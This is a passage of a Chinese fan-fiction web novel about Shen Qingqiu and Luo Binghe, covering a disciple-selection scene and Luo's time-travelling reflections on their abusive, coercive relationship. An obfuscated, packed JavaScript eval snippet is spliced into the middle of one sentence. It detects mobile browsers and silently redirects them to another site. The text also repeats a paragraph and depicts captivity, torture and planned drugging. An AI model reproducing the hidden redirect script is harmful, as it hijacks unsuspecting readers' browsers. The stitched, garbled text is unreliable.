与其他人的关系越发疏离,而整个人的外在表现,则是越发拒人于千里之外。再加上岳清源明里暗里的维护与敲打,旁人自然也都心领神会,没人会不识趣地去与他并立。 当然,这个‘其他人’,不包含岳清源。岁月和过往交织而成的羁绊,自然不会因这些而发生改变。 岳清源身着一袭深色玄端,颜色犹如暗夜深沉的乌墨,上面用银白色丝线绣着精美的云纹与仙鹤,显得他沉稳而庄重。气度沉稳,仿佛巍峨的高山,让人望之而生敬畏。 他先是例行关怀一波沈清秋,随后便将目光专注地投向下方的谷地,颇为尽心的寻找资质尚可的后起之秀。 沈清秋一身翠色衣衫,右手正无聊地把玩着指尖的折扇,几根修长的手指不停拨来拨去。他整个人对此事完全不感兴趣,一副事不关己高高挂起、一点也不负责的模样,光是看着就让人觉得不靠谱。仿佛他只是来凑个热闹,啊,当然,连热闹都不热的那种。 很明显,沈清秋的态度极为敷衍,不仅不想继续‘监考’,甚至还面色冷淡中带着暴躁,一副‘劳资不想干活’的态度。若非这件事‘清静峰之主’必须出面,沈清秋还真不想走这个过场。 岳清源用余光扫视着全场,看似在留意着下方的动静,脸却微微扭向沈清秋,开始没话找话:“今年似乎比往年人还要多。” 沈清秋头略微偏了偏,脸上无悲无喜,仿若一尊没有情绪的雕像,思绪早已神游天外。右手手腕轻轻抖动,手中的折扇也随之翩然开合,发出轻微的 “沙沙” 声。折扇上,绘着一幅山水画卷,在开合间,山水仿若也有了灵动之态。 随着‘啪嗒’‘啪嗒’的脚步声传来,岩石走上来一白衣人。柳清歌难得装扮得如此端正,五官轮廓犹如刀刻般深邃分明,棱角分明中透着一股冷峻之气。走路的架势更是凌厉,恰似一把刚出鞘的利剑,锋芒毕露。 待他站定后,拱手向岳清源行礼:“掌门师兄。” 至于一开始就站在一旁的沈清秋?不好意思,柳清歌的眼里完全看不见。 沈清秋看一眼踩着自己影子的柳清歌,眉头瞬间拧成了个疙瘩,有些烦躁的拉开距离,恨恨的将对方影子踩上几脚。那模样仿佛眼前踩的不是影子,而是柳清歌本人一般,手上的折扇也扇得更快了些,连风吹的声音都显得清晰许多。 对于两人这般针尖对麦芒、互不相让的架势,岳清源早已司空见惯。他微微一笑,对柳清歌点点头,眼神温和而包容,无声无息间安抚着两人之间微妙的气氛。接着抬手指向下方的众人,示意对方看向‘考场’,开始询问正事:“柳师弟来得正好,不妨看看,哪个可入眼。” 柳清歌嘴角微微上扬,扯出一抹不知是讽刺还是什么的轻笑,目光扫向幼稚得踩他影子的某人,只大致瞄了一眼下方密密麻麻的人群,随意指了其中一个萝卜头:“天资最好是他。” 岳清源微微颔首道:“柳师弟可想要?” 柳清歌不知可否的从一旁收回视线,脚下不着痕迹地移动几步,让沈清秋踩不到‘自己’。至于对岳清源 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15221613|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的问话,语气间颇为无所谓:“要来的,自然会来。” 柳清歌身为百战峰的峰主,所统领的百战峰向来以武为尊。在那里,拳头就是硬道理,各种地位和荣耀都是靠实打实的战斗力打拼而来。 也正因如此,百战峰的准则一向都是:爱来不来,来了就要做好挨打的准备。在他们看来,那些不主动上百战峰来求打求虐,反而坐等别人来挑选的弟子,都是没有战斗力、没有前途的窝囊废! 岳清源刚准备点点头确定对方归属,踩不到对方影子的沈清秋却冷不丁地主动开口,声音里带着几分凉意:“天资好,未必有所成。” 柳清歌转过头,目光直直地盯着明显不爽的沈清秋,言语之间讽刺意味拉满:“比起十六岁才正式修习的野路子,成就一定要高。” ‘……’ 岳清源心中猛地一沉,下意识就挡在两者之间。这两人在一起就没安生过。若不是弟子入门考核需要所有峰主在场,这两位一个久居屋门不出、一个执着于四处挑衅打野,平日里哪有机会能碰到? 果然,这话一出口,空气仿佛瞬间凝固了。 柳清歌这句话完全戳中了沈清秋的痛点,如此刻意针对之下,沈清秋的脸色变得极为难看。双唇紧闭,眼中似有怒火在燃烧,被气的连扇子都合起来,右脚跨出半步,已做好出招架势。 岳清源略微侧身,挡在青衣人与柳清歌之间,声音略重:“柳师弟。” 柳清歌瞄一眼被岳清源掩在身后的家伙,右手下意识地在剑柄上推了一下,手指紧握于剑柄轻轻摩挲。剑身微微晃动,发出一阵低沉的嗡鸣,终究还是没有被主人拔出来作战。 柳清歌压下当众与沈清秋对打的郁气,只是心中异样如汹涌的潮水,不得不发,于是他薄唇轻启,又冷冷添上一句::“如此资质,莫要糟蹋了。” 这是明晃晃讽刺沈清秋不会教人,手下一帮庸才不说,还尽干些糟蹋人才的事儿。 听到这句话,沈清秋瞬间就像被点燃的火药桶,怒火 “噌” 地一下就冒了起来。下意识想与对方回怼,放在自己手下怎么就算‘糟蹋’?非要与柳清歌一样四处打架斗殴,才是正道不成? 沈清秋二话不说,右手拔出修雅剑,剑身寒光闪烁,微颤的剑尖直指柳清歌。这家伙实在过于可恶,两人打过那么多次,打又何妨? 岳清源右手食指与中指夹住修雅,阻挡沈清秋向前砍去的动作。脸上有些为难,更多的却是对这两人没事就要干架的无奈: “清秋师弟、柳师弟,下面弟子都看着呢……” “……” 沈清秋撇一眼正兴致勃勃看戏的峰主们,又看向那边站的笔直,眼神却满是挑衅的柳清歌。当即火冒三丈,就想与对方互骂。但理智却紧紧拉着他的神经,告诉他在大庭广众之下,确实要考虑一下自己的形象问题。 那么—— 刚才柳清歌是不是看中个弟子来着?而且凭柳清歌刚才那句话,这个弟子他怎么着也要弄到手里!你不让我‘糟蹋’,我还偏要‘搞砸’给你看! 就在沈清秋视线转过去,当他的目光触及到洛冰河的那一刻。某些早已被深埋在心底的记忆碎片,如决堤的洪水般突然涌出。 待沈清秋视线转过去,当他的目光触及到洛冰河的那一刻,某些早已被深埋在心底的记忆碎片如决堤的洪水般突然涌出。黝黑的屋子、灼热的气息、在耳边轻笑着的声音,以及,额头血红色的罪恶印记。这样被遗忘的记忆如同一把把尖锐的刀,刺痛着他的灵魂。 手中修雅‘哐当’一声掉在地上,沈清秋半跪于地,双手紧紧地捂住头颅,指节因为用力而泛白。这种感觉不是恐慌,也不是害怕,更不是惊悚,而是一种心脏被什么东西牢牢抓住的感觉窒息感,是一种被命运之轮无情碾压,无法逃避、近乎绝望的‘宿命’。 可即便他努力回想,那些被掩盖在脑海深处的记忆,却如迷雾中的幻影,无论如何努力,都什么也抓不住。 岳清源第一时间察觉到沈清秋的不对劲,长腿一跨,瞬间来到沈清秋身边,用手轻拍着对方的肩膀,声音温和而关切:“清秋师弟,你怎么了?” 虽然沈清秋极其厌恶他人触碰,可现在这种情况下,总不能让他当场走火入魔,又将所有人打杀一顿吧? “滚开!” 沈清秋的瞳孔被血色浸染,神情瞬间变得狰狞可怖。声音中带着嘶哑的痛呼,又透着几分欲毁天灭地的疯狂。 就在他伸手想要召唤灵剑的那一刻,发现不对劲的柳清歌眼中闪过一丝决然,毫不犹豫地出手,一记手刀打在沈清秋的后颈上。沈清秋双眼一翻,瞬间失去了意识。 无论出于什么原因,甭管是为了沈清秋的声誉考虑还是要维护弟子入门流程,岳清源都不能放任对方在此时此地大开杀戒。只是——岳清源总归做不到像柳清歌那样的干脆利落。 “柳师弟。”岳清源闪过一丝不悦,却又明白柳清歌的做法确实是当今最佳。岳清源将晕倒的沈清秋人抱在怀里,打算将人先带走。只是眼下还有弟子考核需要有人在场,故而用视线闻讯着:“这里——” 柳清歌无语地扯了扯嘴角,脸上满是嫌弃的神色,伸手将沈清秋扛在肩上,那动作十分干脆利落:“你是掌门,就算是爱护师弟,也不能在这个时刻随便离开。我去。” “我 ——” 岳清源抬头看了眼天色,金乌烈阳已经高悬于天空正中,当前已达正午时分,距离这场考核结束,只有不到一炷香的时间。反正之前沈清秋的一切也是由柳清歌带回,现在由柳清歌将人带回去,似乎也不无不可。 “那就拜托柳师弟了。”岳清源无奈地叹了口气,只能接受这个解决办法。 第四章人生如逆旅,我亦是行人 重生、拥有跨越时空能力的冰哥自白(被朋友说是书评和分析) ———— 洛冰河睁开眼睛的时候,正安稳睡在弟子通铺上。 这是个很新奇的体验。 不是他的魔宫,也不是少年期间的柴房。 稍微扒拉一下记忆,他得知了应该属于正确流程的过往(指没有沈清秋插手)。被柳清歌选中,拜入适合自己的百战峰,接着靠卓越的天资快速成为大弟子,开启自己的一代天骄、称王称霸之路。 是所有男儿最向往、最喜欢、最受天道青睐的正统龙傲天之道。 亦是…… 年少洛冰河,曾反复幻想过的梦境。 开局很不错。 只是为什么他会来到这里? 如果他的记忆没有问题,他应该是在准备丹药,想和沈清秋玩点伴侣之间的小把戏,骗他为自己生个孩子。 当然,这件事他已经想实施很久了。只是哪怕是洛冰河用毁去修为做威胁、带沈清秋出去玩做奖励,沈清秋依旧极为坚决的拒绝,并且还让他去找后宫留种去。 这可真是。扶额苦笑。 洛冰河根本不是想留个后代才会那么想好吧! 他自己不死不灭,沈清秋被他喂了那么多灵物和天魔血打底,也完全不会老化和死去。他留个后代的意义是什么,生几个毛头小子跟自己抢江山吗? 他只是单纯的觉得。他那关押不住、总想往外跑的师尊啊,如果有一个属于他们血脉的孩子,总能拴住对方了吧? 给他一个需要花费大量时间精力的孩童,两人一起其乐融融的养娃、品味为人父母的成就感,是件多么温馨的事情?沈清秋怎么就不理解,并且还打算腌了他以绝后患呢。 他真的好委屈,需要和师尊贴贴才能哄好。 emmmm。 其实这件事,如果洛冰河主动表态由他来生的话……或许有那么几丝可能性,沈清秋会同意? 毕竟怀孕期间,沈清秋出逃的几率会增强很多,而且孩子的出世必然会分走母体的大部分营养与血脉精华,怎么看,都是件极其有利的事情。 只是这个可能性,刚被沈清秋想到…… “想都不要想!”洛冰河看着对方原本很恼怒、却突然亮起来的眼睛,立刻将对方的脑袋摁到自己怀里: “虽然弟子可以容忍师尊想要反攻,也愿意陪您玩点新花样,但师尊若真敢趁弟子怀孕出逃,以后就别想走路了!” 沈清秋的‘提议’还没来得及说出口就胎死腹中,整个人也被揽入对方怀抱。作为惩罚,洛冰河抱着沈清秋啃了大半个时辰,直到沈清秋忍无可忍让他找女人后,才将此事揭过。 他们双方都清楚的明白一件事——沈清秋可以向洛冰河提出任何需求,唯独不能希望离开。 无论是什么样的离谱要求,只要沈清秋提出来,洛冰河就会想方设法去做到;无论沈清秋想要什么东西,洛冰河都会派人甚至带着他去找寻。 可若是沈清秋拒绝洛冰河的亲近,表露出想要独自一人的念头,甚至还打算在没人知晓的时候偷偷出逃的话…… 洛冰河虽然舍不得用天魔血折磨对方,但不代表不能用它定位,用它做点让沈清秋下不来床的事情! 想到这里,洛冰河的心中突然升起想快些回去的念头。 只是这次跨越时空不同于他拿心魔剑硬劈出两界通道,不仅修为没有,连心魔剑……估计还在魔界乱石林中。 他要赶紧走完流程,恢复实力,拿到心魔剑,早点回去。他还没搞定让沈清秋怀孕的事情,虽说可以偷摸下药,但还是让师尊亲口答应他,最为稳妥和心动。 谁能拒绝心爱之人亲口答应要给自己生孩子呢! 这种成就感与喜悦,压根不是偷摸或强制喂药,接着生下不被宠爱、或者压根没有出生可能的后代,所能比拟的。 他想与沈清秋有个孩子,其实也是想自己有个‘家’。一个有着正常父亲、母亲、顽皮孩童的三口之家。 他生父死了跟没死没区别,生母在他刚出生就死了,养母也在他幼年死去。抛去那些人外,唯一算得上长辈的,就是沈清秋这个不靠谱的师尊了。 原本他还一颗真心向青天,指望用情深意切换取沈清秋对他的照看,得到严师或尊师的教导。 结果…… 嗯,中途那些不重要,最后的结局是,沈清秋不想当他的好师尊,反而更愿意让他以暴力强行压制。 机缘巧合之下,洛冰河先是遇见了另一个完全不像沈清秋的‘沈清秋’,接着又遇见一个完全不像洛冰河的‘洛冰河’。其中还莫名其妙的被那个‘沈清秋’温情以待,正大光明的带入苍穹山。甚至那个早死的柳清歌,也活的好好的。 这么奇怪且不对劲的事情,洛冰河理所应当的要探查一番‘沈清秋’的记忆啦!毕竟他没有问题,有问题的一定是沈清秋,秉承着弟子的本分,他定要为‘沈清秋’解决脑子突然犯病这个事情的。 只是。这个‘沈清秋’的记忆,有相当大的问题呢~ 且不说那些沈清秋完全干不出来的事情,从某个时刻起,他就像是得到了什么任务似的,眼里除了‘洛冰河’,什么都不在乎了。 基础的人情往来、弟子教导、考核培训、清静峰乃至苍穹山公务…… ‘沈清秋’再也没理睬过。 虽然洛冰河很想说那个‘洛冰河’真是该死的幸运,可这个‘沈清秋’的异常,却又没办法当成看不见。 尤其是,洛冰河回想起曾经有一次,他好像梦境失控,走到了被火烧成一片白地的清静峰。而那其中,本该在地牢待着的沈清秋,却大大咧咧、毫无防备的出现在了自己面前。 尤其是—— 他喊他,冰河。(沈垣其实喊的是‘冰哥’) 沈清秋不可能会这样喊他。甚至说沈清秋究竟知不知道他没事会喊的‘小畜生’,到底叫什么名字,洛冰河也不能确定。 这样的‘沈清秋’令他很新奇,只是对方实在是胆小又大胆,居然一边害怕的瑟瑟发抖,一边又胆大妄为的妄想着逃跑。 洛冰河理所应当的将人抓回来,一不小心弄断了他的肩膀——这个不怪他,分明是沈清秋先尝试逃出自己手掌心的,洛冰河只是没想到对方居然那么弱,连基础的闪避和格挡都未曾使出。 明明他根本没有使用魔力,对方也没有失去灵力,分明是‘沈清秋’碰瓷于他,怎能怪他残暴?如果‘沈清秋’以这个理由指责他,洛冰河是完全不会认的。 对于胆小、发抖、主动停下的‘沈清秋’,洛冰河的心情很好。虽然说这次的梦境造物有些过于真实,但行为设定上却出现了大纰漏,平衡一下,勉勉强强也算是中等吧。 对于这样明显是假货的沈清秋,洛冰河难得想以玩笑吐露一下真情:“这次,师尊可莫要拒绝我?” 只是梦境造物总归不稳定,他只是说了句平日里完全不会说的话,梦境造物就跟没喂好、逻辑转不过来的AI似的,直接死机。甚至到了最后还直接消失的无影无踪,整个场景都散成了粉尘。 若说起那个‘沈清秋’,倒是与当前这个极为相似。 也不知之前的那一次,是梦魇修为失控后无意识制造幻境,还是他得到了某些奇遇,遇见了不同芥子空间的‘同位体’? 毕竟世间应有万千世界存在,他既然已踏平仙界,也可以考虑征战其他世界的事情了。 更离谱的事情发生了。这个世界的‘沈清秋’主动拉着他同枕共眠。 划重点:沈清秋主动拉着洛冰河睡一张床! 一张! 还是沈清秋主动! 虽然此‘沈清秋’非彼‘沈清秋’,但既然这个可以,他那个未必不行!而且大不了将人抢过去就是了,沈清秋敢不听他的话? 嗯。‘沈清秋’确实不敢。而且他的行为举止和之前的那个梦境造物,实在是太像了! 在一番‘友好交流’后,洛冰河搞明白一件事。他当时遇见的梦境造物,就是此世的‘沈清秋’;而当时‘沈清秋’喊的,也不是什么‘冰河’,而是‘冰哥’。 此世的洛冰河,则被他称为‘冰妹’。 真是奇怪的称呼。 更不可思议的,是洛冰河突然拥有了破界的能力。 他可以凭借其他世界的心魔剑,确定对方世界的绝对地址,继而创建沟通两界的通道,让他能……肆意来回。 洛冰河在拥有了跨越时空壁垒,洞悉诸般世界故事脉络的能力后,他亲眼见证了无数个相似却大相径庭的分支结局。 为揭开那隐匿于重重迷雾之后的 “世界真相”,亦为将那残缺不全的 “故事线” 完整拼凑。洛冰河反复劈开时空界限,跨越数个无限可能的故事线,看到了……无数关于他与沈清秋的发展路径。 每一个‘世界’都如此真实,每一个‘时代’都拥有自己的逻辑,每一个‘洛冰河’与‘沈清秋’,都有着自己的行为准则、相似却又截然不同的思想立场。这些光怪陆离却又充满了现实感的场景,是世界之树的,不同分支投影。 差之分毫、谬之千里。略微一点的差异,便会造就同一个故事线里的,数万万个结局。 有些世界线中,‘洛冰河’绝情绝爱,毅然决然的孤身踏上称王之路。以一剑砍灭所有人,用绝对的实力和残暴的性情将所有不满的声音屠戮殆尽,高坐于三界尊主的位置,俯瞰苍生。 这样的故事开展,当真是相当的男频爽文,坐拥万里江山、享风月无边。而‘洛冰河’与‘沈清秋’的爱恨纠缠,就像是路途间偶然经过的小石子一样,踢开之时全无半分拖泥带水,也不会为他多分出一丝的停顿与思考。 有些世界线中,‘洛冰河’则将自己的所有悲惨都归咎于‘沈清秋’的身上。身为最后的胜利者,将导致自己痛苦的罪魁祸首单独拎出来,将沈清秋当成死不掉的发泄工具,肆意用对方的痛苦为燃料,点出以罪恶为原料绽放的‘璀璨’烟花。 基于这样的整体论调,‘洛冰河’命人将沈清秋锁于阴暗潮湿的地牢之中,用各种残酷至极的刑罚折磨沈清秋。疯狂咆哮的‘洛冰河’、沦为俘虏毫无反手之力的‘沈清秋’,两人之间唯有深仇血恨。他恨他的责罚冷漠、无情抛弃,他恨他的残暴不仁、国破家亡。 这样的‘洛冰河’被仇恨蒙蔽了理智,完全忽略掉幼年的自己对长辈关爱的渴望与眷恋,而他们之间的过往误解与互相伤害,让他的内心充满了怨恨,如同熊熊燃烧的烈火,难以熄灭。 沈清秋起初还会倔强地反抗、绝不求饶,随着时间的流逝,身体的伤痛和精神的折磨渐渐压垮了他,只能在痛苦中发出微弱的呻/吟。天魔血的特性拉扯着不让他死亡,沈清秋最后能选择的,要么灵魂永寂,要么疯癫屈服。 还有几支非常特殊的世界线中,‘洛冰河’伪装出一副小白兔的样子,将失去了警惕与理智、闭上眼睛真觉得海清河晏、歌舞升平的沈清秋揽在怀里。 这样的开展实在是过于不正常。无论是‘洛冰河’还是‘沈清秋’都是一众故事中的异类,除了洛冰河一开始遇见的那对师徒,也仅仅遇见过几次而已。 而且无论是内心过于脆弱、居然洗脑自己的‘洛冰河’,还是一脸单蠢、洛冰河随便说些什么就会相信,完全不去探究真正事实的‘沈清秋’,都是个例中的个例,实在是不适合用来研究。 在‘洛冰河’与‘沈清秋’纠缠的总分支中,虽然大部分都会将人丢在地牢,以对方发泄自己的怨气。但还是有极大比例的一部分,在与对方的互相折磨中,终于发现了沈清秋对自己的重要性,以各种方式尝试打动对方的心扉,撬开那扇从不曾向自己敞开的门。 当然。这其中有些成功了、有些失败了。 成功的最终赢得了沈清秋的心,携手相伴、举案齐眉。 失败的分为两类:一部分将怨气扩大、疯疯癫癫的开始灭世,四处挑起战火,所到之处生灵涂炭、哀鸿遍野。另一部分则将所有怨恨集结于沈清秋,将对方折磨成了毫无灵魂与傲气、类似于行尸走肉般的傀儡。 当手中的数据达到一定数量的时候,人就会开始反思。 而沈清秋这个名字,又总是与洛冰河牵扯在一起。 洛冰河将异世的见闻经过详细的记录成书,而其中唯有零星的几个‘成功案例’,被洛冰河详实的记录下来,从中认真剖析经验过失—— 既然其他人曾成功过,凭什么他不能拥有呢?人无我有、人有我优,这是人之本性,亦是世人拼搏的动力之一。 想法既成,剩下的便是理论分析—— 为什么这个世界线可以成功? 为什么这个世界线与另一个只是一句话的差错,结局却大相径庭? 为什么都是同一个意思的‘死了也要为我所用’和‘死了我也要把你捞回来’,竟能形成一个结为伴侣、一个空留身躯的巨大差异? 这其中的关窍究竟是什么,着重点又该放在什么地方? 年少沈九明明被岳七狠狠抛弃过,却为何在岳清源手下养着,却比在洛冰河手下要更鲜活灵动? 宁嘤嘤明明大庭广众之下背叛了他,却为何沈清秋宁可咽下所有脏水,也要保宁嘤嘤的声誉,甚至还对她说‘别哭’? 明帆是被沈清秋认真教导、着重培养的人,所以他会为了沈清秋而死、洛冰河毫不意外,可清静峰的其他人,又为何会为这样一个淡漠孤僻的家伙硬闯魔界? 这其中差异点与违和感实在太多,洛冰河将所有信息绘制成数据海洋与时间线,希望从中查找到不同寻常的地方。 可无论怎么归类,所有的事实都在表明:沈清秋的恶意,仿佛只交给了洛冰河。 洛冰河于堆积如山的纸张中抬头,不得不承认一件事——沈清秋,自始至终,除了洛冰河,竟谁都没有亏欠过。 而就算是被倾注了最大恶意的洛冰河,除了刚拜师的那段时日存在折辱,其他身为清静峰弟子该有的配置,洛冰河也从未被克扣过。 为什么呢? 事实竟是这样的吗? 他的童年阴影,不都是沈清秋这个恶毒小人造成的吗?可为什么,在海量数据、铁一般的事实面前,却完全不对? 洛冰河跌坐在无数笔墨纸张中,眼神放空—— 所以,支撑他这么多年来的愤恨,导致他黑化的根本原因。 竟是如此简单到可笑。 就像是,有人在他脑海中,突兀的植入了一句‘你要恨着沈清秋’,而他却恍然未觉的,坚定执行着。 可这不对劲啊。洛冰河不相信自己会因为这样离谱的理由记恨那么多年。这其中必然有什么他没发觉的东西,那个被掩藏起来的存在,才是洛冰河这么多年来拼命念着、恨着、怨着的。 洛冰河经厉过接近数百次的时空穿梭,见到过毫无生机、只知承受的沈清秋;也遇见过始终对抗、最终堕魔的沈清秋;亦见到过实在受不住折磨、主动献身、彻底破罐子破摔的沈清秋。 而那么多的故事中, 他们总是要纠缠的。 他们总会纠缠到一块的。 他们总是要相互恨着的。 ‘洛冰河’是天道亲定的天道之子,是命中注定要平定三界纷争的‘救世主’。 如果他拜师柳清歌,他便会走少年英才、对战魔界、带领修真界与魔界签订和平誓约的路子。 如果他拜师沈清秋,他便会走愤恨黑化、坠落深渊、带领魔界覆灭修真界,踏上三界至尊位的人生轨迹。 可造化弄人,‘洛冰河’鲜少拜入百战峰,更是会在与‘沈清秋’见面的第一时间产生最为期待且希冀落空的念头,接着将自己人生在世所受到的任何不如意,皆记在‘沈清秋’头上。 即便——沈清秋除了一开始的过错,再也没有亏欠、甚至还暗中帮助于他。 ‘沈清秋’是天道给自己设置的磨刀石,洛冰河本该怀揣着对他的愤恨努力修炼,接着像打boss一样将他斩杀。 只是天道设立的剧本过于潦草粗糙,洛冰河又得到了本不该存在的能力。在跨越无数世界、总结海量数据后,洛冰河终于明白真正令他记挂的、黑化的、求而不得的…… 从来不是沈清秋对他的恶劣。 而是。 少年郎对长辈目光的追逐。 我希望你眼中有我。哪怕是最早期的看见我就想起你的悲苦,看见我身上的气运偏爱而想起自己从不被庇护,所以你对我抱有恶意,施加责罚。 这么说可能过于抖m,但洛冰河最痛苦的,最不愿回忆的。不是入门后的失望与责打,而是入门几年中,仙人对自己的视而不见。 忽视,才是最大、最不能忍受的惩罚。 当洛冰河想明白了这一切,便不再继续跨越时空找寻解答。无论世界的真相是什么,他又为何要与沈清秋一直纠缠,他既然生长于此,这里就是他的故土。 而之前所认真记录在案的诸多文件,则被他叠放在书房的最深处,布下层层阵法锁困、不允许任何人靠近。 他本就与其他‘洛冰河’不同,是诸多世界线中的另一朵奇葩。 不仅将人抓住后没有刻意去折腾对方,也不曾将怨恨全部堆积于‘沈清秋’的身上,非要闲的无聊让对方认错,在得不到回答便恼羞成怒的将对方制成生死不知、灵魂破碎、道心尽毁的人彘。 现在既然明白了自己的童年缺失,想要得到对方的携手,就会切实的设置计划、根据对方的反馈因地制宜的小心修正计策。 相似的案例很多,前人的经验亦是不少。洛冰河自认是个虚心求教、乐于借助他人案例修补自身计划的好学生,在海量的数据记录下,心灵通透、理智敏捷的洛冰河确定了几件有关自身的要点。 第一,沈清秋对他的厌恶,很大程度是源于对他自身的厌恶(也就是自弃),还有对天道不公的不满。 第二,沈清秋从来没遮掩过对他的不满,也从来没阻拦他随时退出清静峰,更不曾在该有的流程中刻意卡他资源。 就这一点而言,洛冰河其实随时能退出,并且也确确实实承了沈清秋的‘师恩’。而且沈清秋也没表面温情、暗地里下黑手,最多只是表露了对他的不喜以及漠视弟子间的争斗罢了。 虽然说上位者的不喜是他悲惨的根本原因,但沈清秋从来都坦坦荡荡,甚至在他将对方擒拿的时候,沈清秋也不曾用这件事向自己求情,反而认为洛冰河将他抓住后报复是件理所应当的事情。 第三,洛冰河自以为是的那些‘供奉’,沈清秋是有通过其他途径‘回复’的。虽然说洛冰河送上去的东西大多数会被打回来,可沈清秋比往日里更尽心的批文、偶尔敲打明帆的话语,也确确实实算得上回馈。 虽然这些东西,洛冰河其实并没有发现……并且还满心怨恨,觉得自己在清静峰待的很憋屈,想着迟早有一天要将这里毁灭吧。 咳咳…… 彼时他没有发现沈清秋为他做的事情,只一心觉得遇人不淑、被恶毒师尊耽误了大好前程;现在沈清秋没有发现他为对方下的功夫,只一下想着出逃、拒绝他的过分亲近…… 他们怎么不算‘心有灵犀’呢!!(破音) 而且,他的师尊其实是个心肠相当柔软的人。不仅会想方设法的尽最大能力维护能看见的、能想到的相关之人,还会对其他人的温情表现出受宠若惊的诚惶诚恐。 对床事抵抗能力,也很差。至少大部分的花样,都是会脸红拒绝的。 这次洛冰河缠了沈清秋那么久,花费极大精力想让对方松口,一起养个属于自己的血脉后代。期间不知道被打了多少次,又被骂了多少声‘罔顾人伦’。 其实,洛冰河不是因为‘栓不住’、‘控制不了’沈清秋,所以才满心想着用孩子绊住对方的脚步。 他只是……想要对方主动的、愿意回家。 毕竟沈清秋是个薄情寡性之人,洛冰河也没那个胆量说沈清秋会为了自己回来。所以……哪怕是真的不愿意生个孩子,大家一起养只猫、喂只狗,只要能让沈清秋记挂着家里,什么都是可以的。 37.冰九之间,向来只能强制啊 第五章谋定而后战,故所向克捷 ———— 时间线拨回到洛冰河刚认清楚自己对沈清秋心意的时候,即便他情感上不敢相信,理智却催着他赶快将人带到身边。 洛冰河是个很有行动力的人,他将沈清秋从地牢里捞出来,洗干净后直视着对方那双漂亮的眼睛:“师尊,弟子想跟您打个赌。” 沈清秋在地牢里瘦了很多,精气神看着也很萎靡。尤其是当他知道岳清源已然赴死后,更是心如死灰般静等着了却残生。 洛冰河不得不借鉴其他成功案例,用岳清源的灵魂与苍穹山剩余之人的性命为筹码,引导着对方‘恨’他。别的不说,起码要先用这种方法,将沈清秋的灵魂留下。 灵魂破碎后,独留下的躯体;精神寂灭后、所残留的死尸,从来不是洛冰河想要的东西。 他看到过类似的场面,也看到过被教导驯养后丧失了反抗信念而沦为玩物的身躯。对他们这种人来说,献祭自己而获取物品、放弃尊严而随波逐流,远不如早些死去来的痛快。 为了避免自己的‘沈清秋’也成为死不掉却失去灵魂的傀儡,当务之急,要下猛料。 而最起效的,无过于……威逼强压。 没事。(强颜欢笑) 反正洛冰河也习惯了,沈清秋总会将他认定为罪恶的存在,所以即便他用压根不知道有没有的其他人威胁,沈清秋也会‘相信’的。 就像是……他所有的不舒坦,都会认为是沈清秋的过错造成。 事情果然如洛冰河所料,他只是随手拿个长明灯,然后报上一系列的人名。沈清秋自发将那些人与‘洛冰河的罪行’一一对上,接着用那双已经黯淡无光到即将熄灭的眸子,毫不动容的看着他。 至于洛冰河一开始说的‘打个赌’什么的,沈清秋就像是没听到似的,只直愣愣的看着洛冰河手中那盏灯。 洛冰河将手中的长明灯晃了一下,火光突然跳动起来,橘红色的灯芯‘噼啪’的响了一声,沈清秋的表情出现了明显变化。 洛冰河的心稳了。 很明显,沈清秋现在对外界依旧有感知,并没有走到心灰意冷无法挽回的程度。 之前的日子里,洛冰河将对方丢到地牢后便没在理睬,只是最后时刻找了点鸡血模仿沈清秋笔迹随便写了点东西,又令人割破沈清秋的手指随便抹上几下,配着沈清秋的扇子送到苍穹山。 但其中的细节—— 洛冰河也不敢保证会演变成什么样。 毕竟沈清秋就是那么做的,上位者下个吩咐、等待下面人完成,接着吩咐下一步。洛冰河只是有样学样,将这些‘回报’到对方身上而已。 至于下面人究竟如何完成这件事? 当年沈清秋不在意,现在洛冰河当然也不会在乎。 只是——看着对面明显心如死灰、状态也不太正常的人,洛冰河突然想起来他亲自将断了的玄肃剑送过去时,满身血污的沈清秋。 他没吩咐那些人动沈清秋。 也同样,没说‘不能动’。 而他与沈清秋的那些恩怨,有心人只要稍微打听一下,就能了解的清清楚楚。 所以,洛冰河知道会有人虐待沈清秋。毕竟上行下效,总有一些聪明人希望借沈清秋的惨状讨好自己。 他自己就是因为沈清秋的漠视而痛苦了那些年 ,现在只是让对方也感受一下,非常公平。 只是当他真正见到时,是真没想到沈清秋会成为那个鬼样子。 就像是沈清秋会承认因他管教不严、漠视弟子打闹造成洛冰河痛苦一样,如果沈清秋指责洛冰河的疏忽与残暴,洛冰河也会认下的。 可还没等他说些什么,沈清秋看见熟悉的断剑,又看眼洛冰河的脸,嘶哑苍凉的笑声响彻于地牢,终究是晕了过去。 洛冰河本是想借此嘲讽对方一番,却突然发现阶下囚已凄惨如此。心中莫名的酸涩了一下,又升起说不清道不明的恼怒: 沈清秋以为这一切都是他的安排吗?! 他以为他专程过来嘲笑他吗? 他……他…… 有一口气堵在洛冰河咽喉,上不了也下不去,只觉得憋闷异常,却又无话可说。 沈清秋以为的没错。 他就是来嘲笑他的。 他就是刻意大老远传递‘岳清源死亡’的信息的。 他就是故意忽略漠视、放任手下人去欺压折辱被他亲手擒来的战败者的。 这一切都如洛冰河的心思,也都顺洛冰河的心意。 沈清秋怪罪与他,有何不可? 洛冰河又为什么会觉得不舒服? 洛冰河逃了。 身为刚刚将修真界打下来、成为真正意义上三界尊主的他,在面对曾经高高在上、现在凄凉憔悴的沈清秋时,可耻的跑了。 他疯狂的研究破裂时空,征战其他世界的可能性。 而在此之前,他专门派了医术最精湛的那批仙魔大夫,去给沈清秋治病。又将漠北从边界喊过来,让他亲自监督地牢。 为此,漠北跟他说了许久的‘大材小用’‘杀鸡焉用牛刀’。 现在洛冰河已想清楚自己想要什么,那么第一件事,就是要确保沈清秋灵魂存活。 幸运的是,即便是遭逢大难,沈清秋的意识还是正常的,思维也还算敏锐。虽然混混沌沌死气沉沉,但还有救。 “师尊,弟子的话,您听到了吗?”洛冰河又晃了一下长明灯,沈清秋的瞳孔随之出现了明显收缩。 